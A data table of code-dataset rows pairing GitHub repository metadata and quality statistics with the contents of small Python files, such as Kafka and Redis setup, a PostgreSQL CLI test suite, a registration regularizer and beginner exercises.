hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
046b02e3089d697190f30958c9c28865fea0bfc0 | 335 | py | Python | Training/multipleInheritance.py | srikanteswartalluri/pyutils | bf8d56ac9e9b0786861c08ef32eae49b021f20a3 | [
"0BSD"
] | null | null | null | Training/multipleInheritance.py | srikanteswartalluri/pyutils | bf8d56ac9e9b0786861c08ef32eae49b021f20a3 | [
"0BSD"
] | null | null | null | Training/multipleInheritance.py | srikanteswartalluri/pyutils | bf8d56ac9e9b0786861c08ef32eae49b021f20a3 | [
"0BSD"
] | null | null | null | class A:
def Am(self):
print self.__class__, '=>I am in A'
class B(A):
def Am(self):
print self.__class__, '=>I am in Am'
def Bm(self):
print self.__class__, '=>I am in Bm'
class C(A, B):
def Cm(self):
print self.__class__, '=>I am in Cm'
a = A()
b = B()
c = C()
c.Am()... | 15.952381 | 44 | 0.510448 | 61 | 335 | 2.540984 | 0.196721 | 0.232258 | 0.335484 | 0.464516 | 0.670968 | 0.670968 | 0.670968 | 0.374194 | 0.374194 | 0.374194 | 0 | 0 | 0.304478 | 335 | 20 | 45 | 16.75 | 0.665236 | 0 | 0 | 0.117647 | 0 | 0 | 0.140299 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.235294 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
047e4883792669a719f20b31be6958e1481ca3b5 | 137 | py | Python | saleor/plugins/webhook/const.py | victor-abz/saleor | f8e2b49703d995d4304d5a690dbe9c83631419d0 | [
"CC-BY-4.0"
] | 1,392 | 2021-10-06T15:54:28.000Z | 2022-03-31T20:50:55.000Z | saleor/plugins/webhook/const.py | victor-abz/saleor | f8e2b49703d995d4304d5a690dbe9c83631419d0 | [
"CC-BY-4.0"
] | 888 | 2021-10-06T10:48:54.000Z | 2022-03-31T11:00:30.000Z | saleor/plugins/webhook/const.py | victor-abz/saleor | f8e2b49703d995d4304d5a690dbe9c83631419d0 | [
"CC-BY-4.0"
] | 538 | 2021-10-07T16:21:27.000Z | 2022-03-31T22:58:57.000Z | CACHE_EXCLUDED_SHIPPING_KEY = "webhook_exclude_shipping_id_"
CACHE_EXCLUDED_SHIPPING_TIME = 60 * 3
EXCLUDED_SHIPPING_REQUEST_TIMEOUT = 2
| 34.25 | 60 | 0.875912 | 19 | 137 | 5.631579 | 0.684211 | 0.448598 | 0.392523 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.031746 | 0.080292 | 137 | 3 | 61 | 45.666667 | 0.81746 | 0 | 0 | 0 | 0 | 0 | 0.20438 | 0.20438 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
0487255c7d8d652fee4a870631cfc9d20ba49e50 | 189 | py | Python | resc/resc.py | hboshnak/pipenv-template | 8620cfca392defb445bae0ecf9ef2acde879e7c5 | [
"MIT"
] | 1 | 2021-07-13T05:29:40.000Z | 2021-07-13T05:29:40.000Z | resc/resc.py | hboshnak/pipenv-template | 8620cfca392defb445bae0ecf9ef2acde879e7c5 | [
"MIT"
] | 5 | 2021-02-25T21:32:28.000Z | 2021-09-08T16:32:21.000Z | resc/resc.py | hboshnak/pipenv-template | 8620cfca392defb445bae0ecf9ef2acde879e7c5 | [
"MIT"
] | 1 | 2021-07-13T05:29:30.000Z | 2021-07-13T05:29:30.000Z | """
Some math functions.
"""
def add(a_num, b_num):
"""Adds two numbers."""
return a_num + b_num
def sub(a_num, b_num):
"""Subtract two numbers."""
return a_num - b_num
| 13.5 | 31 | 0.597884 | 31 | 189 | 3.387097 | 0.451613 | 0.152381 | 0.190476 | 0.304762 | 0.457143 | 0.457143 | 0.457143 | 0 | 0 | 0 | 0 | 0 | 0.238095 | 189 | 13 | 32 | 14.538462 | 0.729167 | 0.31746 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | false | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 4 |
04d6d9bdfb6806d1fe10f45e5030602272decb0f | 18,886 | py | Python | src/sibyl/transformations/text/data/locations.py | UCLA-SEAL/Sibyl | 06e9d38ef551284ab48f507dc40d14fde3562fb6 | [
"BSD-3-Clause"
] | null | null | null | src/sibyl/transformations/text/data/locations.py | UCLA-SEAL/Sibyl | 06e9d38ef551284ab48f507dc40d14fde3562fb6 | [
"BSD-3-Clause"
] | null | null | null | src/sibyl/transformations/text/data/locations.py | UCLA-SEAL/Sibyl | 06e9d38ef551284ab48f507dc40d14fde3562fb6 | [
"BSD-3-Clause"
] | null | null | null | NAMED_ENTITIES = {
"country": [
"China", "India", "United States", "Indonesia", "Pakistan", "Brazil", "Nigeria", "Bangladesh", "Russian Federation", "Japan", "Mexico", "Ethiopia", "Philippines", "Egypt", "Vietnam", "Germany", "Turkey", "Iran", "Thailand", "France", "United Kingdom", "Italy", "South Africa",... | 1,716.909091 | 13,056 | 0.666737 | 1,902 | 18,886 | 6.619874 | 0.73449 | 0.001271 | 0.003336 | 0.004289 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.001592 | 0.102139 | 18,886 | 11 | 13,057 | 1,716.909091 | 0.740933 | 0 | 0 | 0.272727 | 0 | 0 | 0.692063 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.090909 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 4 |
b6e0f22ecb67d5a83b4cb37d98cb61942b6d64d3 | 130 | py | Python | Beginner/age123.py | man21/IOSD-UIETKUK-HacktoberFest-Meetup-2019 | 8ca1a8bf95ee98d303d3a909c448288fa5992210 | [
"Apache-2.0"
] | 22 | 2019-10-02T16:48:10.000Z | 2020-11-14T23:28:41.000Z | Beginner/age123.py | man21/IOSD-UIETKUK-HacktoberFest-Meetup-2019 | 8ca1a8bf95ee98d303d3a909c448288fa5992210 | [
"Apache-2.0"
] | 46 | 2019-10-01T03:53:30.000Z | 2020-10-20T16:34:37.000Z | Beginner/age123.py | man21/IOSD-UIETKUK-HacktoberFest-Meetup-2019 | 8ca1a8bf95ee98d303d3a909c448288fa5992210 | [
"Apache-2.0"
] | 415 | 2019-10-01T03:48:22.000Z | 2021-02-27T04:57:28.000Z | a=int(input("Enter your age:"))
if (a>=18):
print("Adult")
elif (10<a<=18):
print("Teen")
elif(a<=10):
print("Child")
| 16.25 | 31 | 0.546154 | 22 | 130 | 3.227273 | 0.636364 | 0.084507 | 0.225352 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.074766 | 0.176923 | 130 | 7 | 32 | 18.571429 | 0.588785 | 0 | 0 | 0 | 0 | 0 | 0.223077 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.428571 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 4 |
8e03a674bdd9fba48058fb887a87276d65f4d044 | 215 | py | Python | app/utils/kafka.py | junpengxu/MyFlask | 14457b5c44e9a2a881cf2b5c1ed9ba7bf783b31a | [
"MIT"
] | null | null | null | app/utils/kafka.py | junpengxu/MyFlask | 14457b5c44e9a2a881cf2b5c1ed9ba7bf783b31a | [
"MIT"
] | null | null | null | app/utils/kafka.py | junpengxu/MyFlask | 14457b5c44e9a2a881cf2b5c1ed9ba7bf783b31a | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# @Time : 2021/11/13 1:47 下午
# @Author : xujunpeng
from app import app
from confluent_kafka import Producer
KafkaProducer = Producer({'bootstrap.servers': app.config["KAFKA_SERVERS"]})
| 26.875 | 76 | 0.697674 | 29 | 215 | 5.103448 | 0.758621 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.065934 | 0.153488 | 215 | 7 | 77 | 30.714286 | 0.747253 | 0.339535 | 0 | 0 | 0 | 0 | 0.217391 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
8e36911e0b9ca032416022efd5054c46dd064980 | 143 | py | Python | app/settings/arq.py | leosussan/fastapi-gino-arq-postgres | dd4213f4113825ddce3d3a6a39e54ef77df6014f | [
"MIT"
] | 289 | 2019-11-04T12:57:13.000Z | 2022-03-28T09:36:33.000Z | app/settings/arq.py | leosussan/fastapi-gino-arq-postgres | dd4213f4113825ddce3d3a6a39e54ef77df6014f | [
"MIT"
] | 6 | 2020-02-29T08:25:26.000Z | 2022-03-15T12:11:56.000Z | app/settings/arq.py | leosussan/fastapi-gino-arq-postgres | dd4213f4113825ddce3d3a6a39e54ef77df6014f | [
"MIT"
] | 31 | 2020-01-19T15:22:40.000Z | 2022-01-12T07:28:27.000Z | from arq.connections import RedisSettings
from .globals import REDIS_IP, REDIS_PORT
settings = RedisSettings(host=REDIS_IP, port=REDIS_PORT)
| 23.833333 | 56 | 0.832168 | 20 | 143 | 5.75 | 0.55 | 0.121739 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.104895 | 143 | 5 | 57 | 28.6 | 0.898438 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
8e381e2a2b218c5e89332d56aca7486173ae53fd | 779 | py | Python | server/manager/dataManager.py | pengzhuo/gameServer | b79da0cb72e3e64308b15240b87fc7816fbb7b4f | [
"MIT"
] | null | null | null | server/manager/dataManager.py | pengzhuo/gameServer | b79da0cb72e3e64308b15240b87fc7816fbb7b4f | [
"MIT"
] | null | null | null | server/manager/dataManager.py | pengzhuo/gameServer | b79da0cb72e3e64308b15240b87fc7816fbb7b4f | [
"MIT"
] | null | null | null | # coding: utf-8
import redis
from models.singleton import Singleton
from common.config import *
class DataManager:
__metaclass__ = Singleton
redis_instance = None # redis实例
def __init__(self):
self.redis_instance = redis.StrictRedis(REDIS_HOST, REDIS_PORT, REDIS_DB, REDIS_PASSWORD)
def sa... | 25.966667 | 97 | 0.702182 | 108 | 779 | 4.787037 | 0.361111 | 0.15087 | 0.16441 | 0.061896 | 0.10058 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007752 | 0.172015 | 779 | 29 | 98 | 26.862069 | 0.793798 | 0.026958 | 0 | 0 | 0 | 0 | 0.042384 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.294118 | false | 0.058824 | 0.176471 | 0.117647 | 0.764706 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | 0 | 4 |
8e429de3cec233883bebaf7d3c82fb474fe3eae3 | 412 | py | Python | aot/meta_triggers/metatrigger.py | jaycheungchunman/age-of-triggers | f2a75685a0b0cc9e26132d4f52b6ed2c4798f6b4 | [
"MIT"
] | 8 | 2019-11-19T07:13:14.000Z | 2020-05-30T05:19:11.000Z | aot/meta_triggers/metatrigger.py | jaycheungchunman/age-of-triggers | f2a75685a0b0cc9e26132d4f52b6ed2c4798f6b4 | [
"MIT"
] | null | null | null | aot/meta_triggers/metatrigger.py | jaycheungchunman/age-of-triggers | f2a75685a0b0cc9e26132d4f52b6ed2c4798f6b4 | [
"MIT"
] | 1 | 2020-07-28T10:24:11.000Z | 2020-07-28T10:24:11.000Z | from abc import ABC, abstractmethod
class MetaTrigger(ABC):
pass
@abstractmethod
def setup(self, scenario):
pass
def triggers_to_activate(self):
return []
class EffectGenerator(ABC):
@abstractmethod
def generate(self, player_id, info={}):
pass
class ConditionGen... | 14.206897 | 43 | 0.643204 | 43 | 412 | 6.069767 | 0.488372 | 0.195402 | 0.153257 | 0.214559 | 0.367816 | 0.367816 | 0.367816 | 0.367816 | 0.367816 | 0 | 0 | 0 | 0.264563 | 412 | 28 | 44 | 14.714286 | 0.861386 | 0 | 0 | 0.5625 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0.25 | 0.0625 | 0.0625 | 0.5625 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 4 |
f3cef00b193a306ab1155b96a6f5196ab933046e | 28 | py | Python | zinnia/migrations/__init__.py | Boondockers-Welcome/django-blog-zinnia | 34aa1e7304f6686c61da81fbd93d082e5cd3144b | [
"BSD-3-Clause"
] | 1,522 | 2015-01-02T05:54:02.000Z | 2022-03-31T04:13:14.000Z | zinnia/migrations/__init__.py | Boondockers-Welcome/django-blog-zinnia | 34aa1e7304f6686c61da81fbd93d082e5cd3144b | [
"BSD-3-Clause"
] | 205 | 2015-01-02T19:29:37.000Z | 2022-03-11T23:19:49.000Z | zinnia/migrations/__init__.py | Boondockers-Welcome/django-blog-zinnia | 34aa1e7304f6686c61da81fbd93d082e5cd3144b | [
"BSD-3-Clause"
] | 632 | 2015-01-02T05:54:02.000Z | 2022-03-25T17:07:32.000Z | """Migrations for Zinnia"""
| 14 | 27 | 0.678571 | 3 | 28 | 6.333333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.107143 | 28 | 1 | 28 | 28 | 0.76 | 0.75 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
f3d12dac700e6f2db9216c1feb35659074346e84 | 20,650 | py | Python | tests/test_suite.py | ikethecoder/sae-postgres | 8b84fbce45ff1caf7b70a96b4a87857b54fc2e32 | [
"Apache-2.0"
] | 1 | 2019-09-18T20:04:20.000Z | 2019-09-18T20:04:20.000Z | tests/test_suite.py | ikethecoder/sae-postgres | 8b84fbce45ff1caf7b70a96b4a87857b54fc2e32 | [
"Apache-2.0"
] | 7 | 2020-04-16T23:35:59.000Z | 2022-01-10T21:51:24.000Z | tests/test_suite.py | ikethecoder/sae-postgres | 8b84fbce45ff1caf7b70a96b4a87857b54fc2e32 | [
"Apache-2.0"
] | null | null | null | import sys, os
import logging
from unittest import TestCase
from client.cli import CLI
from tests.expect import Expect
log = logging.getLogger(__name__)
logging.basicConfig(level=os.environ['LOG_LEVEL'],
format='%(asctime)s - %(levelname)s - %(message)s')
creds = {
"PGHOST" : os.environ['PGH... | 41.633065 | 186 | 0.62247 | 2,614 | 20,650 | 4.625096 | 0.063122 | 0.037055 | 0.074442 | 0.06617 | 0.812986 | 0.772126 | 0.730108 | 0.666419 | 0.617866 | 0.591977 | 0 | 0.005676 | 0.249153 | 20,650 | 495 | 187 | 41.717172 | 0.774073 | 0.263245 | 0 | 0.479087 | 0 | 0 | 0.275563 | 0.081433 | 0 | 0 | 0 | 0 | 0 | 1 | 0.064639 | false | 0.079848 | 0.019011 | 0 | 0.121673 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 4 |
f3ff32b49ebedaaf0193080ffc9d50c00deddf1e | 325 | py | Python | pythonCore/ch02/E15.py | Furzoom/learnpython | a3034584e481d4e7c55912d9da06439688aa67ea | [
"MIT"
] | null | null | null | pythonCore/ch02/E15.py | Furzoom/learnpython | a3034584e481d4e7c55912d9da06439688aa67ea | [
"MIT"
] | null | null | null | pythonCore/ch02/E15.py | Furzoom/learnpython | a3034584e481d4e7c55912d9da06439688aa67ea | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
n1 = int(raw_input('No.1: '))
n2 = int(raw_input('No.2: '))
n3 = int(raw_input('No.3: '))
if n1 < n2:
if n1 < n3:
pass
else:
n1, n3 = n3, n1
elif n2 < n3:
n2, n1 = n1, n2
else:
n1, n3 = n3, n1
if n2 > n3:
n2, n3 = n3, n2
print n1, n2, ... | 14.130435 | 29 | 0.483077 | 60 | 325 | 2.566667 | 0.366667 | 0.103896 | 0.214286 | 0.253247 | 0.155844 | 0 | 0 | 0 | 0 | 0 | 0 | 0.153153 | 0.316923 | 325 | 22 | 30 | 14.772727 | 0.540541 | 0.129231 | 0 | 0.266667 | 0 | 0 | 0.064516 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.066667 | 0 | null | null | 0.066667 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 4 |
6d09ba5af9d04ebbd43deb0ad5e91b0cc56e21e7 | 2,991 | py | Python | torchir/regularization.py | BDdeVos/TorchIR | 80ea1045c1029182cada3cfa23a0693dd206cbcc | [
"MIT"
] | 9 | 2021-11-02T18:43:54.000Z | 2022-02-19T15:27:55.000Z | torchir/regularization.py | BDdeVos/TorchIR | 80ea1045c1029182cada3cfa23a0693dd206cbcc | [
"MIT"
] | null | null | null | torchir/regularization.py | BDdeVos/TorchIR | 80ea1045c1029182cada3cfa23a0693dd206cbcc | [
"MIT"
] | 4 | 2022-02-07T11:44:15.000Z | 2022-03-23T14:13:02.000Z | import torch
from torch import Tensor
from torchir.utils import identity_grid
def bending_energy_3d(
coord_grid: Tensor, vector_dim: int = -1, dvf_input: bool = False
) -> Tensor:
"""Calculates bending energy penalty for a 3D coordinate grid.
For further details regarding this regularization please read... | 33.988636 | 95 | 0.627549 | 480 | 2,991 | 3.735417 | 0.2125 | 0.115449 | 0.050195 | 0.050195 | 0.885666 | 0.843279 | 0.783045 | 0.699387 | 0.655884 | 0.655884 | 0 | 0.046725 | 0.23437 | 2,991 | 87 | 96 | 34.37931 | 0.736245 | 0.399866 | 0 | 0.315789 | 0 | 0 | 0.049645 | 0 | 0 | 0 | 0 | 0 | 0.052632 | 1 | 0.052632 | false | 0 | 0.078947 | 0 | 0.184211 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
6d17183d8bed6293683ac4f055ca897b0e1147e7 | 671 | py | Python | epi_judge_python/search_frequent_items.py | shobhitmishra/CodingProblems | 0fc8c5037eef95b3ec9826b3a6e48885fc86659e | [
"MIT"
] | null | null | null | epi_judge_python/search_frequent_items.py | shobhitmishra/CodingProblems | 0fc8c5037eef95b3ec9826b3a6e48885fc86659e | [
"MIT"
] | null | null | null | epi_judge_python/search_frequent_items.py | shobhitmishra/CodingProblems | 0fc8c5037eef95b3ec9826b3a6e48885fc86659e | [
"MIT"
] | null | null | null | from typing import Iterator, List
from test_framework import generic_test, test_utils
# Finds the candidates which may occur > n / k times.
def search_frequent_items(k: int, stream: Iterator[str]) -> List[str]:
# TODO - you fill in here.
return []
def search_frequent_items_wrapper(k, stream):
return se... | 30.5 | 70 | 0.622951 | 78 | 671 | 4.974359 | 0.525641 | 0.216495 | 0.293814 | 0.113402 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.299553 | 671 | 21 | 71 | 31.952381 | 0.825532 | 0.113264 | 0 | 0 | 0 | 0 | 0.096284 | 0.08277 | 0 | 0 | 0 | 0.047619 | 0 | 1 | 0.166667 | false | 0 | 0.166667 | 0.166667 | 0.5 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 4 |
6d3aa0cd4f29c73a8f412b1b4bccd8c3d5e42199 | 137 | py | Python | exercicios_programas/ex7_contadores/exercicio5.7.py | robinson-1985/livro_python | 2b94d32c81121b631a70f8c9fc443d697947ee63 | [
"MIT"
] | null | null | null | exercicios_programas/ex7_contadores/exercicio5.7.py | robinson-1985/livro_python | 2b94d32c81121b631a70f8c9fc443d697947ee63 | [
"MIT"
] | null | null | null | exercicios_programas/ex7_contadores/exercicio5.7.py | robinson-1985/livro_python | 2b94d32c81121b631a70f8c9fc443d697947ee63 | [
"MIT"
] | null | null | null | ''' 5.7 Modifique o programa anterior de forma que o usuário também digite o
início e o fim da tabuada, em vez de começar com 1 e 10. ''' | 68.5 | 77 | 0.715328 | 28 | 137 | 3.571429 | 0.821429 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.046729 | 0.218978 | 137 | 2 | 78 | 68.5 | 0.869159 | 0.941606 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
6d5ab184699e19b380a45de5f06afeb0be880d7d | 118 | py | Python | socialforcemodel/math.py | bazylip/socialforcemodel | 5599d1736cdaf7e7c3e203671208a7baeec85732 | [
"MIT"
] | 2 | 2019-09-01T19:39:36.000Z | 2019-11-09T15:42:16.000Z | socialforcemodel/math.py | bazylip/socialforcemodel | 5599d1736cdaf7e7c3e203671208a7baeec85732 | [
"MIT"
] | null | null | null | socialforcemodel/math.py | bazylip/socialforcemodel | 5599d1736cdaf7e7c3e203671208a7baeec85732 | [
"MIT"
] | null | null | null | def length_squared(vector):
""" Return the length squared of a vector. """
return vector[0]**2 + vector[1]**2
